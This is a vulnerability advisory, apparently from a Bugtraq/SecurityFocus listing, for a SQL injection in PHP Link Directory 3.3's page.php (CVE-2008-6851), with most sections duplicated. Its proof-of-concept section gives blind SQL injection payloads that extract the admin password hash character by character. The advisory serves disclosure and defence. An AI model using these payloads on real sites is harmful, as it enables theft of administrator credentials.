PHP Link Directory 'page.php' SQL Injection Vulnerability
BID:32989
Info
PHP Link Directory 'page.php' SQL Injection Vulnerability
| Bugtraq ID: | 32989 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-6851 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 23 2008 12:00AM |
| Updated: | Apr 13 2015 09:12PM |
| Credit: | fuzion |
| Vulnerable: |
PHP Link Directory PHP Link Directory 3.3 |
| Not Vulnerable: | |
Discussion
PHP Link Directory 'page.php' SQL Injection Vulnerability
PHP Link Directory is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Link Directory 3.3 is vulnerable; other versions may also be affected.
PHP Link Directory is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PHP Link Directory 3.3 is vulnerable; other versions may also be affected.
Exploit / POC
PHP Link Directory 'page.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example input to the 'page.php' script is available:
GET http://www.example.com/phpld/page.php?name=
True Request:
(validpagename)' or 1=1#
False Request:
(validpagename)' or 1=0#
Try this (urlencode):
(validpagename)' or ORD(MID((SELECT PASSWORD FROM PLD_USER WHERE ID = 1),1,1))>1# etc...
Field value example:
{sha1}dd94709528bb1c83d08f3088d4043f4742891f4f
Attackers can use a browser to exploit this issue.
The following example input to the 'page.php' script is available:
GET http://www.example.com/phpld/page.php?name=
True Request:
(validpagename)' or 1=1#
False Request:
(validpagename)' or 1=0#
Try this (urlencode):
(validpagename)' or ORD(MID((SELECT PASSWORD FROM PLD_USER WHERE ID = 1),1,1))>1# etc...
Field value example:
{sha1}dd94709528bb1c83d08f3088d4043f4742891f4f
Solution / Fix
PHP Link Directory 'page.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHP Link Directory 'page.php' SQL Injection Vulnerability
References:
References:
- PHP Link Directory Homepage (PHP Link Directory )